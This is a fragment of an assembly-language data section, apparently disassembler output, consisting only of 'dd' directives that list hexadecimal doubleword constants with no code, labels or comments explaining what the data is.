		dd 1E424196h, 43AEA000h, 0BA33841Bh, 99830B19h,	0CB80D204h
		dd 0BF92876Eh, 9D23F338h, 5A9DBE28h, 63A79780h,	801FEBh
		dd 31B24B43h, 10292635h, 0F8A16800h, 0A5B4FC60h, 0B8010370h
		dd 2F96671Ah, 890C6F90h, 76A25300h, 0E32D5939h,	69060429h
		dd 8362D2EBh, 55DB74E8h, 3D87DFC8h, 7E2A5Ch, 0E48312CCh
		dd 3ABAFAFDh, 6B00DB99h, 36D056D5h, 731D64D8h, 0B00BFB3Bh
		dd 0E8E28049h, 0B8C646EBh, 6D9703DEh, 0EC8E3FA8h, 0F271C4E8h
		dd 67A9B200h, 0AA2893E2h, 0A7650329h, 0D7389D33h, 1507B890h
		dd 3C26F70Eh, 0BC8D20A4h, 982A494Fh, 664700E9h,	0D7AB9E74h
		dd 9D76B0F6h, 615CBAE4h, 6D3F0073h, 0AB4676D4h,	0EA4A078Bh
		dd 104FEE6Ah, 0E1E6DA79h, 0CF7BA900h, 0C8D28FB5h, 9CB30080h
		dd 183963F4h, 3E00ADE4h, 0CC222D1h, 4ECD7Eh, 0C7CB5214h
		dd 0E1319D4Fh, 734D48h,	98FA2D0Fh, 0CF2599h, 0F2D238A5h
		dd 2976BC49h, 0F4488600h, 34E0265Ch, 71E33C23h,	3CB549F8h
		dd 0A1218907h, 0B83AD063h, 0E800A74Ah, 0FDACCFBBh, 1BE0283h
		dd 9C6E27C4h, 0F6F37FD5h, 0E08F4E60h, 52D2711Ch, 0DBB83EC0h
		dd 135E84D4h, 19B0E8Ah,	4D53209Ch, 0B7A3F0ACh, 704C9F37h
		dd 504B58C2h, 0C1F074h,	0BDCF2181h, 1E032F39h, 0DB1D3Eh
		dd 31F67127h, 0F8AE2B1Ah, 3A1201E3h, 4E8DE8B7h,	69D8D705h
		dd 3800E9BDh, 0F10146C2h, 0EDE65Dh, 0ACE54C79h,	4D6434D9h
		dd 0FAE97660h, 0C62963h, 5ECC4B92h, 36F37DD1h, 89657400h
		dd 2F986CA9h, 31807C0Eh, 2280EE96h, 0EFCFE4BFh,	0DFB15362h
		dd 166480AEh, 3ACE4D5Ch, 0D500580Fh, 116C2563h,	7E0E5665h
		dd 777B98EAh, 0B706000h, 0E0301Ah, 63F723F6h, 3DEDA0A6h
		dd 0B7F50F0Fh, 0F14F97h, 805E2894h, 3CE973E1h, 8503A4EBh
		dd 935A9026h, 51D0AD88h, 0DB00FC72h, 43A4F36Ah,	1C4D92Dh
		dd 0EE4B808Bh, 0FD97286Bh, 0A46260B1h, 0C0BF6A01h, 1DA88EE3h
		dd 6CDC8E21h, 345601F0h, 0DCABEAE6h, 4A0FE0C4h,	730354FEh
		dd 31A9F891h, 0B8DAC3F3h, 7CA589h, 0D52A7B49h, 95E94D15h
		dd 9438851Fh, 0F13EE40h, 7B9F6CBh, 37C10A24h, 6235068h
		dd 8E15A41Fh, 998B275h,	846B4F7Fh, 91A382h, 8880B604h
		dd 4DBD4864h, 8A03614Eh, 608B9D5Ch, 543780C0h, 0E050CB2h
		dd 5928E349h, 0E4304140h, 6CF4ACh, 6814D37Bh, 5E45E6BDh
		dd 0EA09FF00h, 550DCC1Eh, 0CB5800A0h, 46E505E8h, 0A55FFDD4h
		dd 0AA7234C0h, 6F260093h, 90A2D297h, 7779E7ECh,	0B12CEF03h
		dd 0A889822Bh, 0E93D7A8h, 0CA226E87h, 0F0D8AE40h, 4307C7F1h
		dd 9A7CBC9Dh, 2FF65D10h, 702A00A8h, 80E31F68h, 2300477Eh
		dd 0FBBA2D77h, 55C6AEh,	0F7DFB148h, 67F1E119h, 0E4528724h
		dd 1492740Ch, 0E3E0008Ah, 83572DDEh, 0EB00CEA9h, 0D4871E9Eh
		dd 0AD2228h, 0E62CFACFh, 0F863A27Fh, 52B0E350h,	138B0600h
		dd 51841A85h, 56B0FEh, 22541E7h, 1C806E5Ah, 87C3D400h
		dd 9F31D7F6h, 0ACBB0095h, 0FB52B6E2h, 5701E32Ah, 0F6E4699Ah
		dd 6CC064DFh, 0D68D0075h, 76210EC5h, 2B005150h,	0DF67E79Ch
		dd 0E41C07h, 823D7765h,	0D69DA025h, 95D59703h, 0E04D8E14h
		dd 0FA0DFEh, 90A6FCBCh,	7B10DD2Bh, 8AF89900h, 0E1867D4Fh
		dd 2A7108h, 23AE36C8h, 0DCB271F6h, 8E09CC09h, 0F80D602h
		dd 5D014F8Ch, 0C0F99E13h, 0C124A5E0h, 0E7099F06h, 0EC28006Dh
		dd 0C01FDF7Ah, 4F5699F2h, 9000EFBh, 88917F5Eh, 0FB7FEC5h
		dd 21B11B2Fh, 0EE356280h, 6F01B674h, 699CA6Ah, 0B1C829ADh
		dd 0E8D800B7h, 0F935FB71h, 14002FBFh, 0DBD47E9Bh, 0BA9E4Ch
		dd 81CE28E4h, 568F7004h, 18F27CF4h, 0BD57300h, 0D75E20EEh
		dd 4F00187h, 0A88803DDh, 7D9CE871h, 8E89EC00h, 9F771FE8h
		dd 0FBC6007Ch, 11D2FA22h, 9913436Ch, 1887B31Eh,	77B18DB0h
		dd 8F4C0042h, 0EE69714Eh, 0E83BAF78h, 76C8C896h, 196BF900h
		dd 34629D9h, 51BF0709h,	0E005FED3h, 6D893B97h, 0F9C2FA03h
		dd 90D0498Fh, 0A4A65Ah,	0E61FB49Dh, 0F170F6F7h,	0B90067FCh
		dd 0D869C3ADh, 7D3077E2h, 4D1116FFh, 8B6A00FDh,	588C8FCBh
		dd 77BACA00h, 51C0D344h, 0C522606h, 1EE90045h, 9AB5F212h
		dd 8333AD00h, 0A399D8CAh, 3CB259h, 0FDEF8A63h, 0F5AC1729h
		dd 6ACC3A00h, 747BFFAh,	64830079h, 0DA81D651h, 2C0311C2h
		dd 0FB74C47Dh, 0B0CFF1C6h, 903CDFE4h, 906E005Ch, 680FB79Eh
		dd 0E30F74F8h, 81850A9Dh, 14B96B82h, 192D1E4h, 36CF3BEh
		dd 3446659Bh, 0A800C9E8h, 0E552B00Dh, 74A32F08h, 0EAB84CF7h
		dd 0FF752D00h, 1970B4A2h, 3400C8FCh, 0C36CEF81h, 168504A6h
		dd 1FAE4913h, 390D803Bh, 35557652h, 0FEE3FA00h,	0F99B403Eh
		dd 0FF4100ADh, 0C85E8036h, 6A007439h, 786589CDh, 52D1904h
		dd 0EC951301h, 0D97DC0FDh, 0AEF624FBh, 0C3031000h, 0C949F75Fh
		dd 711C00EAh, 0D6B58B9Eh, 9500B220h, 2A578F15h,	48D1F116h
		dd 0EC00F8A2h, 0F852C517h, 2300E439h, 95DE72FDh, 98C7C68Eh
		dd 0E6FE3DE9h, 41CF00F4h, 36F1869Ah, 8E0388DFh,	0D5C11242h
		dd 3327D85Bh, 0DDD0007Fh, 0F243CD31h, 0C90FDAE3h, 0A752CA4Eh
		dd 0A807A105h, 57CB6EF0h, 3E26004Dh, 0D1B5A554h, 3401152Fh
		dd 0E0775130h, 0CE83CB32h, 0EC6B721Eh, 0BB9BF998h, 21008576h
		dd 0BE7F741Bh, 67B6B3h,	0E4E7C63Ch, 291D682Fh, 0A59A5000h
		dd 0D762B572h, 22BE01CBh, 0B2D9AA12h, 0DAF8D015h, 7819FA00h
		dd 0B5C77A69h, 0A2FE000Dh, 917C84CFh, 0D6004AF7h, 4EB3E661h
		dd 59FB3445h, 440B4036h, 0A3009695h, 0EC480811h, 0D7006171h
		dd 3A5F46C3h, 87AF57h, 7AD9C8FEh, 8309AB11h, 29006FE8h
		dd 0C50527FBh, 36253Eh,	699F2CCCh, 57F932ADh, 2A504600h
		dd 498D76CBh, 0D1BF00CEh
		dd 0F78EDD27h, 0AB7D3C90h, 9E00F2FCh, 6C1ABE16h, 2E9563h
		dd 0BC487A4Ah, 0B16E8B1Fh, 224BFF00h, 57AD40E4h, 76850043h
		dd 0FB06338h, 26F6141Fh, 160B1D3Dh, 4841BDA5h, 0E3A25885h
		dd 9942B20h, 0A7372507h, 23CA5401h, 0E93B70C2h,	4DDF6100h
		dd 57F63F5Eh, 0FC3C0093h, 0DC6AE31Dh, 0DAE02D17h, 1E03B3B0h
		dd 0EF217308h, 0C846933Bh, 548055h, 237C504Eh, 6FC1BCB2h
		dd 4A6CF909h, 0CD3900A3h, 0E7C476h, 1BD9EEAEh, 9D4BE6DDh
		dd 5559FF02h, 0E16DB8D3h, 42DCAB0Ch, 0F121F86Bh, 1FCDF0h
		dd 0DAF73863h, 5E9415ECh, 709106EAh, 62A6F940h,	204600BBh
		dd 19631A91h, 1C00FC05h, 736C51C7h, 19B663Fh, 0D0F1DDBFh
		dd 0C028DB9Eh, 1812CE3Ah, 5C1D58CBh, 80A0D20Bh,	5B8DF632h
		dd 4F1400E8h, 1B7309D1h, 673D3EDBh, 324600FDh, 4D3C6A76h
		dd 0AA70F754h, 28770001h, 9FC17BF8h, 0BA00E2EFh, 7CE3E64Eh
		dd 3D5C164Fh, 1A975864h, 3B8045BCh, 52642007h, 5B3F6447h
		dd 0D9E6A8CFh, 19906A00h, 9B7ECA1Eh, 0FB590094h, 3FF61DB9h
		dd 9900884Ch, 0C3FDE3A6h, 3CF14D37h, 0D29860C4h, 0A995199Bh
		dd 0F86CE602h, 507AE572h, 116A1160h, 0C5F2C4Bh,	71B1C600h
		dd 14D5D5Bh, 49B007CEh,	3C68F002h, 209D35A4h, 26EFDC90h
		dd 0EA6E30F2h, 504A9208h, 0F1004CB0h, 0E77FF8B6h, 0E240F64Dh
		dd 0E81A6193h, 71FBC5EDh, 0C179F86Eh, 74B85A0Bh, 0C80A02ECh
		dd 60F84049h, 0F72E00F1h, 17F6712Bh, 4E28AC03h,	0D5004062h
		dd 5E36BF64h, 3001CBC9h, 0F11168ADh, 6002FA1Bh,	0B8402F26h
		dd 25C852B1h, 38965B2Ah, 143623Bh, 6EF8BEEFh, 0CEF0FB0Ah
		dd 9D2700C6h, 0A534443Dh, 5900EFB9h, 816B43B6h,	0BF7F1Bh
		dd 0F73BCFB4h, 563D3E37h, 6D086200h, 13DD296Ah,	0C92107C3h
		dd 11C4206Bh, 0C03B4830h, 15002259h, 915F6FD0h,	755B2B7Fh
		dd 0BF35003Fh, 105690EAh, 46071DF0h, 2770F378h,	3E12AD50h
		dd 0F25B004Ah, 6C4B2940h, 0CC00F011h, 7E1E044Eh, 7C31B1h
		dd 10F8D5B7h, 0D77BE6B0h, 6C98D300h, 8FA6A3DBh,	759D00B8h
		dd 8C28C09Bh, 0E307F3FEh, 0D2EE914Ah, 741036E7h, 10661Dh
		dd 0C53D7EA9h, 8F075F6Dh, 6728B7FCh, 0A4EA8905h, 12BBB000h
		dd 0F316D70Ch, 633602B4h, 4F52825Fh, 401CB4E8h,	80D64339h
		dd 172EE9C0h, 0E82F31DFh, 6521C05Dh, 0F690D6ACh, 59BDB1Fh
		dd 804E3DF8h, 0B3AA04C4h, 7E5BAF43h, 31277D6h, 0B26A1E60h
		dd 4096A985h, 8FF4300h,	9AD13A8Bh, 60C21BEEh, 61603890h
		dd 6142CA0Eh, 767984Dh,	0AE535CE7h, 7DC8B198h, 0E5B3EC5Eh
		dd 9D38C318h, 7ADAC438h, 0BB08302Bh, 4F1AF310h,	49A1C00h
		dd 4C30C563h, 0C66C05CAh, 0FA9883BDh, 0DC77C500h, 1EBC76C4h
		dd 401B7C2Ch, 0DDD8D257h, 940EF6A4h, 0A0959C9Fh, 6CCE2DEh
		dd 6F1B00F8h, 16DDCFBDh, 40C37EECh, 0A0DB48B8h,	0AB9E1Fh
		dd 77B4AC54h, 88F1DACEh, 0CB643800h, 0E0664DE6h, 0AEE52h
		dd 84812FF9h, 1019E9F8h, 46E2D706h, 0F55078C0h,	42D8A5DDh
		dd 0F777E8h, 87441B63h,	0B51DF64Ch, 0AED7C700h,	76A89E8Fh
		dd 0B2BB00AFh, 0CE146440h, 52138BDDh, 9C0B495Fh, 187C87F8h
		dd 0B0195B63h, 0FAF47BB8h, 0F1990764h, 6BA0E43Bh, 6D431980h
		dd 291F3493h, 9201666Ch, 0F9599DF0h, 46CED883h,	0A13AAC45h
		dd 772081D0h, 0FC437B17h, 0F38079B9h, 80B696ABh, 3B001BF6h
		dd 2FDE854Ch, 0C5032Eh,	0F74292BBh, 0DA83FB55h,	0E79F9A00h
		dd 0E45CAB7h, 5D70070h,	5DB65782h, 0F40934CDh, 80A60986h
		dd 24E771F5h, 8DB40FD9h, 5CEE628h, 6B73F060h, 70601EE3h
		dd 8C537220h, 0F5CB0080h, 4E3CB1EBh, 54F05551h,	3B2A4C00h
		dd 1E7A57C0h, 1DB6FC41h, 7BF06B08h, 0C61BC30Eh,	6A8F0C20h
		dd 31008C73h, 0E4D9B0F4h, 52098724h, 0E91E449Bh, 7CE6CD8Dh
		dd 4D440380h, 7FFB2100h, 0A3058B8Ch, 379F0E8h, 8F56B750h
		dd 6C887A44h, 0F4023608h, 0E1C029F1h, 71148328h, 80D7995Ch
		dd 0F3898080h, 0A1D3C9C8h, 0F27B206h, 29E26Dh, 877C8007h
		dd 959B25D4h, 0A1B71B1Dh, 0EB2316h, 7D7579C0h, 4500A77Ch
		dd 0B7E30E76h, 0D6E5D0h, 41883B2Bh, 0EFB8CA64h,	6F30E4E9h
		dd 936EB205h, 3802670Fh, 10E5A974h, 947E7C1Fh, 87854D7Fh
		dd 0E0A424FEh, 0F1D3BCF5h, 0B5B2E300h, 0A0C50C4Ah, 0F3B8A342h
		dd 881EFBABh, 3C440593h, 5D80C7C1h, 0CEDB1425h,	0B7005931h
		dd 0DC82A571h, 1C84D385h, 403E048Eh, 0D8463B68h, 0E100AB8Ah
		dd 820A2B38h, 4C55E710h, 0FD07379Ch, 60229E3Fh,	0EE791841h
		dd 0C206F70Bh, 17040082h, 0B38C4Eh, 98603A68h, 42BA8B6Bh
		dd 0A3E2FA00h, 0A2DB1BDh, 53BB004Dh, 0DDEA904Bh, 0F51F7932h
		dd 0F0876B50h, 5510D3EEh, 6FF709h, 0A32A149Dh, 0C79FBDCFh
		dd 687982B8h, 0AD4A0D00h, 9962EF5Eh, 0FEDE00D9h, 0FBE67CEAh
		dd 0BA008072h, 6D79959Dh, 1C9E67h, 0CC02547Eh, 0E35A28F6h
		dd 0E822002h, 0DDD4484Fh, 0B990F360h, 0D064C900h, 309352E6h
		dd 0ED0500A8h, 43C1A618h, 5330E786h, 149EFA81h,	44A001Fh
		dd 7BAC0575h, 0DA01078Bh, 779F0972h, 0DFF06E4Eh, 55400001h
		dd 0FD1F6C3Bh, 9D01C52Ch, 8BF8E98Dh, 31CC52B8h,	10680BEAh
		dd 13806B1Dh, 456FD609h, 0C722801Ch, 51EC4Bh, 4CEEAD0Eh
		dd 18D20Dh, 7D72A17Fh, 12F4D5D9h, 0EBBDC400h, 0FA858365h
		dd 0A48B1DC2h, 7058F7C9h, 6A6E4D9Ah, 6D1128C1h,	0F8EFB88Ah
		dd 0EC99FB84h, 0B34A0FCFh, 0A005A31h, 2BD3AABDh, 0DE00057Dh
		dd 7CA26629h, 5769B5h, 0A74085B3h, 6296AE55h, 1DD12C00h
		dd 944EB14Fh, 0EEF7A0D5h, 0F86F5EE1h, 80B33C1h,	0DD0588A0h
		dd 5A7901F0h, 80BF7BA6h, 88908001h, 0B49D5164h,	256C00B9h
		dd 0DF07D9Fh, 7C07FB8Bh, 0B58AE33h, 0AC14DA20h,	6180A064h
		dd 2FCC1B0Dh, 0C0FF28F9h, 267C2403h, 0DA292D00h, 6195BB50h
		dd 0B43B007Bh, 0BEF8E10Eh, 0FF00B866h, 2BB55A98h, 60B09Ch
		dd 0AE35461Bh, 5CD3CDBh, 950EEE7Fh, 637982CCh, 0D9E9DC3Eh
		dd 36708B5Eh, 0FA4F7416h, 1741076Fh, 0C0753D12h, 0F2B1C905h
		dd 0E584D400h, 0D709D12Ah, 0A00F7458h, 327AACh,	0CC71E381h
		dd 4D93491Ah, 37301B03h, 0A038F0BEh, 4F05E4h, 8F244372h
		dd 0EED04048h, 0C5398700h, 9ADB193Bh, 0FA633AC4h, 0AAD8D383h
		dd 50A78C6Ch, 22E114BDh, 80030CE6h, 0F74A0D4h, 0D9ECE006h
		dd 4CF07CDh, 92451848h,	8406723h, 1B0561D4h, 4BFB03E2h
		dd 0CEA1A80Fh, 9F456217h, 1918E071h, 1BCC0090h,	95427B8Fh
		dd 0C9015BDh, 8074AE3Fh, 291785AFh, 0A0C9F7C8h,	316FB9h
		dd 7F300377h, 0B57640A4h, 0D0F1DD28h, 0F74CF600h, 0F367A058h
		dd 8A48C012h, 8C875B59h, 3DC2F400h, 0C8A43421h,	0A7D6188Bh
		dd 54DEA882h, 6B497100h, 33A30ED0h, 302CE893h, 2B58FB96h
		dd 0BE00254Fh, 0B95619A7h, 0CF62447Fh, 87C09AD0h, 8BD3D5FBh
		dd 0CB45E416h, 0F5D49900h, 0AE5C11h, 50A06929h,	0DC32C53Ch
		dd 191C8200h, 0AF301896h, 0B847002Bh, 9FFE2F17h, 5D7487D9h
		dd 0F457BD01h, 2DD089E4h, 7ECC8D4h, 0F7B0480h, 0A3CF7038h
		dd 41001708h, 6B2D744Ah, 9C8D19h, 70F8A8B1h, 4E753E29h
		dd 0D9456000h, 2FF6F0EBh, 0DEC62479h, 80BD1C9Ch, 6CF2EB5h
		dd 0E0778308h, 0C5351D00h, 0F2880A8Ah, 605F1DB1h, 0F54A0028h
		dd 75BCBFC8h, 0F15AB800h, 16138F4h, 1F0C0015h, 714A97Eh
		dd 1A00FB21h, 72C9D19Eh
		dd 287922FDh, 1B04353h,	0DD83BE0Dh, 50E07BB2h, 0DEF858F0h
		dd 17596205h, 0A010D63Fh, 56900E7h, 73660678h, 26E001F0h
		dd 0F6A64AB8h, 3D70CCD1h, 0C9DC8800h, 4F24B67Bh, 0BAC43DEEh
		dd 9FCBC302h, 90414B70h, 61D6ECB2h, 19517400h, 0AB546A1Ah
		dd 3A30013h, 0C60A4B2Ch, 82000D1Ch, 0E269A631h,	5A227Bh
		dd 32F88A61h, 75A06B74h, 0A2DC6C00h, 0CB09B84h,	0E1D20009h
		dd 3EFA541Eh, 40004211h, 522098C5h, 0C0B2D910h,	0EAAB610h
		dd 0FC1D1C7Fh, 2880F4EDh, 227EC0BAh, 0E0635873h, 1049500h
		dd 536BCCE7h, 0A096A600h, 6FAA4C80h, 2DB600B8h,	2B22ECF7h
		dd 9D0492C5h, 0A69376EBh, 0F6CA5880h, 0B1505D4h, 45B151h
		dd 0DB482D94h, 0EA00816Fh, 19C284D0h, 403BF9Eh,	0F3C8CE1Dh
		dd 0A8A1C155h, 60F5D9E0h, 0D3006BADh, 24322B87h, 30DB2DFFh
		dd 8A92C95Fh, 26028ECEh, 0A5798BD5h, 0B2D06163h, 91ECC30h
		dd 5C029BCAh, 0B9734900h, 6D00E0B6h, 0AB415A8Fh, 13B21Ah
		dd 998C84EAh, 0D83C4F79h, 43B36E00h, 33FC47C1h,	3EA41651h
		dd 0A28A0042h, 25E9B023h, 0CA4AB700h, 7D6D5ED6h, 68930039h
		dd 7288C1CFh, 0C603FFDDh, 0E583F087h, 0D4E8B8CDh, 76DBB849h
		dd 5E4E0F7Ah, 0FCA00669h, 56306A4Dh, 4198E401h,	4C89B05Fh
		dd 34FEF340h, 35720024h, 586E100Ah, 9C028A56h, 8D3B0221h
		dd 8C0868CCh, 0AE0316B7h, 2A3C00BDh, 42DCAF17h,	3F00D1E4h
		dd 60CB3D78h, 0DD11C3h,	47FE020Ch, 48F8EFF7h, 9F06663Eh
		dd 3FC00146h, 0C80A5A45h, 0C29A181Ch, 6A3D19C1h, 2D681D0Ah
		dd 0F403D069h, 89B2796Bh, 9820661Ah, 142009Dh, 0FCA9CC2Bh
		dd 0FD14E98Ch, 0E10EBB0h, 18013593h, 0EC40EB0h,	727A53E6h
		dd 8D03D789h, 28004B2Bh, 9DE11582h, 136496D1h, 0EDCE784h
		dd 46208FEFh, 0AED2C3CCh, 750A4Ch, 37D96B1Fh, 5C9BA04Ch
		dd 77001E62h, 58A67A78h, 0C605C2FBh, 73C0D6E6h,	0EDF39440h
		dd 6040F715h, 0AF816220h, 90C0AD7Eh, 27C7B8Dh, 0CFBD731Eh
		dd 6074B030h, 9086D119h, 88A0CB75h, 10034E9h, 6B9A9B51h
		dd 3CBC8Fh, 4D872D0Dh, 4B101439h, 949D2100h, 479F7BA3h
		dd 0F2F60074h, 0B596FF26h, 3A0093C4h, 76F7B9E9h, 0E2110EE8h
		dd 0C96D1670h, 0F909001Ah, 468C49CCh, 3E50F000h, 7618081h
		dd 79DF0071h, 0D74363C3h, 0AA00895Eh, 32FBACE4h, 9809F1h
		dd 49B08648h, 8E18F27Ch, 0EDC8C100h, 24E3582Eh,	0B76F0034h
		dd 8674E56Eh, 27003A23h, 0CABB1D82h, 8709D8h, 0A06CC16h
		dd 0CB938619h, 8CE039h,	563791ABh, 7F14B2Ah, 2DC161D2h
		dd 0CB72803Dh, 0F6002498h, 12C5370Bh, 39BFCDh, 4095F4C9h
		dd 2A048B7Ah, 0E4179C00h, 0C5233443h, 0CEF8A856h, 93E5000Bh
		dd 2B08A7FFh, 0DF07662Ch, 0AF6E3ABh, 0A09F6383h, 181CEE82h
		dd 395C0FF3h, 0DE00E970h, 128DCEA8h, 7440D646h,	213E60C6h
		dd 59D14296h, 0BE00B590h, 37BD09B1h, 6B90239Eh,	240F680Dh
		dd 0CD8001D6h, 841F703Ah, 0D5E51038h, 6810A0h, 5AE35331h
		dd 35207D54h, 3F470617h, 60C611h, 9B496F50h, 3831ABAFh
		dd 0E1063970h, 5005BA3Dh, 5DD57D00h, 0E51A7BB1h, 5CB01D4Bh
		dd 215119E7h, 43AAF0CEh, 6FB4F800h, 199C31ACh, 0D22F00D0h
		dd 9E1A02Ch, 1C2BB52Bh,	0D70380FDh, 0DACE6EDEh,	80DC1939h
		dd 0D1AF50C9h, 7BB73E0h, 678E14AEh, 9859E0F5h, 0A9C13A5Bh
		dd 0C7F03B49h, 32C4C0DBh, 4BA41F0Dh, 0BDC2C043h, 0C07E6B7Ch
		dd 270FE300h, 0BF97D4FEh, 78BB0E90h, 9680B75Bh,	0F2F0E86Dh
		dd 80D1583Ah, 0A4A6C8FDh, 0C50699h, 7841D229h, 5D88D6A5h
		dd 4CC30500h, 5BF76148h, 62B200EDh, 60580145h, 67E2B6F1h
		dd 0F8006D75h, 13495D57h, 0B0D14ACEh, 0B070197h, 0BE6296BCh
		dd 63E0D495h, 1E5A1C3Ch, 0DEC7ADB8h, 97E75257h,	4F5A81B9h
		dd 9AFCD0A3h, 1FC30032h, 93417D20h, 0D9005B1Eh,	4FB9FDA1h
		dd 3979CF4h, 4CCEDE09h,	0A0AFFA30h, 6902A73Fh, 2358FF00h
		dd 0ED34B273h, 1B461FEEh, 0A70038A2h, 159D4C2Ch, 0C500B4B3h
		dd 6B05EF60h, 62461Bh, 0B7A1E02Fh, 97BCD594h, 45619860h
		dd 0E77C80Fh, 3D0DFC31h, 788255C0h, 141CFE83h, 0F486A5B9h
		dd 1D317CCFh, 22999Dh, 555243B2h, 1B008668h, 1CF2DA79h
		dd 7216DA3h, 0E69EEECh,	90EB131Ah, 43A32C93h, 0C9268D99h
		dd 1592D8E9h, 0A7D03600h, 0F3AA710Ah, 3DDCF712h, 3A080062h
		dd 21E83EC5h, 3003E7E3h, 645FED1Ah, 0B81DFB5Dh,	0DCE51B1h
		dd 71CD1E99h, 9FDC00F8h, 68C044EEh, 3BC38981h, 74E80CE1h
		dd 0B1B04D2Eh, 0A750B000h, 45C2EA99h, 6A38C023h, 86386955h
		dd 538DEB00h, 74D0BBDFh, 1412003Fh, 54A5B4BEh, 61002A97h
		dd 0C43C334h, 258B26h, 18A9A4E0h, 70CDE1BFh, 0DA3A800h
		dd 7409DC63h, 44D900CCh, 8A0E2C24h, 55001247h, 30513252h
		dd 3ED7C3Ah, 0E67B1B36h, 0C4A8F0EBh, 4A01A1F2h,	0D6825B85h
		dd 53EC5960h, 0F8730799h, 12D0095Dh, 0B580CEFCh, 1FC4BB11h
		dd 0DEA89F03h, 0F3AE8DE7h, 82C2C1CCh, 7CA030h, 0C36E311Dh
		dd 2377541Ch, 5D107F00h, 7D090BADh, 1FCAE896h, 40F3675Ah
		dd 69340638h, 467D6195h, 0E31BBF07h, 0B0E0523Fh, 0DEA66Ah
		dd 5B7A5A08h, 0FE4BFF8Ch, 0B65CE81Eh, 3697640h,	12D398h
		dd 0DC78BFD8h, 85684BA0h, 2D212600h, 14F932F4h,	719D0330h
		dd 694964CFh, 0C7E939E0h, 97569B0Eh, 0EB320F6h,	3EE2E44h
		dd 25BE8A7h, 0CD33F2Dh,	27C35800h, 0FB364A4Eh, 8140163h
		dd 0C8A403DDh, 90E0D3DCh, 0B200D96Ah, 0BF4F0C74h, 71B03C5Ch
		dd 6BF9008Bh, 7740BCA5h, 4805866Dh, 852F5480h, 0AB19B419h
		dd 713860h, 676C9432h, 0DC04A46Bh, 0E1BDF300h, 47DE72AAh
		dd 23FE8FAh, 2C6E8D10h,	0BC801CF9h, 65D932CEh, 80EF5B0Eh
		dd 8CE1AA23h, 0C7430Bh,	8E7787D5h, 7CD80098h, 0A51473A8h
		dd 1B007599h, 96A36D11h, 3C37E7h, 0F36EE39h, 2946AAE4h
		dd 82D7B400h, 3238ECFDh, 3E0D3037h, 0CC0A7308h,	5A033D00h
		dd 0BBED58B4h, 79870049h, 65ABC89Dh, 0D501728Ah, 0BA06192h
		dd 70D04E9Fh, 9DA50055h, 53B05C6Ch, 0FCF138D3h,	2276C033h
		dd 7C674C00h, 0E99F962Bh, 2495741Bh, 4424FFDh, 0AF8075F9h
		dd 0C21CE3C1h, 0CE94FCh, 3CAC452Ah, 0DB6B04E0h,	437EAA00h
		dd 0C6F54BE3h, 0FBF20048h, 0D3D9EF16h, 0AC00A779h, 33F774E7h
		dd 86977Fh, 46823735h, 0EE264E44h, 56B36D0Ch, 5E168BFh
		dd 9896DBDCh, 54C000C0h, 7F060F79h, 32F95F26h, 0E74A3D07h
		dd 589A4A0Eh, 8BEA2000h, 29252B1h, 878E2ABDh, 2BC0171Fh
		dd 7E005475h, 1309CD8Ch, 261DEAh, 0B26A2FCCh, 5D40DA5h
		dd 409A4600h, 0D1794C63h, 0B3BF006Fh, 3677ACE0h, 0F203B86Eh
		dd 1CB6373Ch, 0D0D4934Bh, 38BE68h, 0A6338DEEh, 0DD0446ADh
		dd 0CEDB2412h, 0FEA52C00h, 7865DFB3h, 7550060h,	8243ED29h
		dd 0B800DDC3h, 52AE25E1h, 0DA97E7h, 317816AFh, 3D63CBFFh
		dd 64EC4200h, 0BD354967h, 288F12E7h, 0D40C0039h, 0CBA6944Ah
		dd 0F7003F75h, 0D9FFEF8Bh, 1BDBB47h, 558C57F3h,	80C1A165h
		dd 57BE9C0h, 92D0E048h,	0B72F3030h, 89FD30D4h, 860023B8h
		dd 8A35BFECh, 4D332Bh, 52E49F84h, 0F9BB7742h, 0C706C31Fh
		dd 0C267BC00h, 0E31E4Ah, 28898341h, 6EB6ED05h, 4C122607h
		dd 3CF0D050h, 2671A604h, 3E8E846Fh, 4097571Eh, 50F8BA34h
		dd 5300AF4Ah, 0A167C1D4h
		dd 0EE26B56h, 30EAD77Dh, 81B73D21h, 0E892C1ABh,	0BF00194Ch
		dd 0D964827Ch, 5E8CEEh,	0C8D3B942h, 0A874EBC2h,	870012E6h
		dd 62F91F96h, 39BD2B3Bh, 6A806E95h, 83A0DE07h, 471EFF74h
		dd 8700DB51h, 6BD7903Fh, 2EBD0088h, 0CC23B8A3h,	60DFA966h
		dd 27996D0Eh, 9DB069FAh, 0E27604E9h, 0A8BE00C4h, 81BAC1B3h
		dd 3E03F9B1h, 0AADE2B16h, 0DF8FF8EDh, 75EEEA3h,	70BE664h
		dd 39C0C1BAh, 0FA5C2445h, 91925900h, 650F97A1h,	0F1AD007Ah
		dd 38A3F40Ah, 8B002D6Bh, 0BB953237h, 26D66A99h,	0E618B5h
		dd 0EE6C4AD2h, 0AD01DEE4h, 0E112B661h, 58C0D128h, 0D420027h
		dd 77DCB97Dh, 0FF00BE8Fh, 0B7CF1ABAh, 147F5D6Dh, 0DB740883h
		dd 0AE9A9F03h, 80A8C218h, 360995Fh, 363BD268h, 2D9783Eh
		dd 0A822173Dh, 0DE40EBB9h, 60F24616h, 1C506824h, 0C3DE4240h
		dd 7AD8C0FAh, 366CBACCh, 0C2A01406h, 18F826h, 62869F9Ch
		dd 0B1744F46h, 0C876F00h, 6B0AE91Fh, 15171E50h,	47E49C81h
		dd 30B1A2E5h, 0FBD541FCh, 77073003h, 0E0681FF8h, 387E49h
		dd 87D6C3A0h, 5E6C0B28h, 6EF12A50h, 2FBFDD0Bh, 8EE780BBh
		dd 9D204FDh, 6174941Fh,	0B020918Ch, 8201A40Bh, 79908089h
		dd 7318C7h, 0CA2F7007h,	75C29B39h, 0A481C30Ch, 4AD8F013h
		dd 29B879h, 9BA66F01h, 7CE7011h, 35666123h, 0D0AE177Ch
		dd 0A82F3833h, 0CFA1ED00h, 628BCBC9h, 7A67001Bh, 0F87C0696h
		dd 0AE0CF447h, 129C8730h, 4B8F0048h, 0A98D0A9h,	9626D1C0h
		dd 920084D7h, 0C6CA40F0h, 0A9050030h, 54507773h, 0B0FB4BCh
		dd 5C8E358h, 97C0B83Ch,	513D8h,	0D4C720C1h, 0D255E0EAh
		dd 64E348h, 0F9265B9Ah,	49B0EBh, 0DE27B31Ch, 0A9FCA5Fh
		dd 0B656A407h, 0AF8F80FDh, 2D0F4320h, 0B08B48h,	0E7C0D828h
		dd 0B9A7DC34h, 14888000h, 3FC2BACBh, 7B70BBh, 0F22C40F7h
		dd 0B4C6D81Ah, 3736C3Bh, 0AD5FFE1h, 0D4E9C8F5h,	0CABC002Eh
